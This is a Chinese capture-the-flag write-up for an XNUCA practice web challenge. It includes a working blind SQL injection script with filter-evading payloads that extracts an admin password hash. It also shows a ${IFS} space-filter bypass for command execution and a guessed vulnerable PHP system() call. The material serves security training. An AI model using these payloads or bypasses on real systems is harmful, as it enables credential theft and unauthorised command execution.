[XNUCA 练习靶场](web)阳光总在风雨后


简介 :
http://www.hetianlab.com/pages/activity/X-NUCANationalTL2017.jsp
阳光总在风雨后
(破解人数:4)

描述:不要被打击的没信心了
http://218.76.35.74:20130


[XNUCA 练习靶场](web)阳光总在风雨后_第1张图片
image.png

首先只给了一个登录界面 , 考虑到可能是SQL盲注
经过测试发现过滤了

小数点
空格
星号
...

根据过滤的规则写出盲注脚本如下 :

#!/usr/bin/env python
# encoding: utf-8

import requests

def login(username, password):
    url = "http://218.76.35.74:20130/login.php"
    data = {
        "uname":username,
        "passwd":password
    }
    print "[+] Payload = %s" % (data)
    response = requests.post(url, data=data)
    content = response.content
    return "password" in content

def main():
    START = 0x20
    END = 0x80
    data = ""
    for i in range(0x20):
        LEFT = START
        RIGHT = END
        P = (LEFT + RIGHT) / 2
        while True:
            username = "admin'^!(ascii(mid(REVERSE(mid(REVERSE(mid((select(passwd)from(admin))from(1)))from(-%d)))from(-1)))>%d)^'" % (i + 1, P)
            password = "admin"
            if login(username, password):
                LEFT = P
                P = (LEFT + RIGHT) / 2
            else:
                RIGHT = P
                P = (LEFT + RIGHT) / 2
            if (RIGHT - LEFT) < 2:
                data += chr(P + 1)
                print "[+] Data : [%s]" % (data)
                break
            # print "[%d] >> [%d] << [%d]" % (LEFT, P, RIGHT)

if __name__ == "__main__":
    main()
[XNUCA 练习靶场](web)阳光总在风雨后_第2张图片
image.png

注入得到 admin 的密码为 :

50f87a3a3ad48e26a5d9058418fb78b5

md5 解密之后得到明文为 :

[XNUCA 练习靶场](web)阳光总在风雨后_第3张图片
image.png
shuangshuang

登录之后发现是一个管理后台 , 有一个功能可以直接执行命令
但是过滤了空格 , 可以通过环境变量 ${IFS} 来代替绕过
还有一个坑就是发现命令执行得到的结果中只有最后一行
猜测可能是后台 php 的代码逻辑如下 :

$command = $_POST['cmd'];
if(strpos($command, ' ')){
die('Not allowed!');
}
system($command.' | tail -n 1');

可以通过命令后加上

head -n 1

来解决这个问题
找到 /var/www/html 下有一个目录为 :

[XNUCA 练习靶场](web)阳光总在风雨后_第4张图片
image.png

在其中有一个 php 文件

[XNUCA 练习靶场](web)阳光总在风雨后_第5张图片
image.png

内容即为 flag

[XNUCA 练习靶场](web)阳光总在风雨后_第6张图片
image.png

你可能感兴趣的:([XNUCA 练习靶场](web)阳光总在风雨后)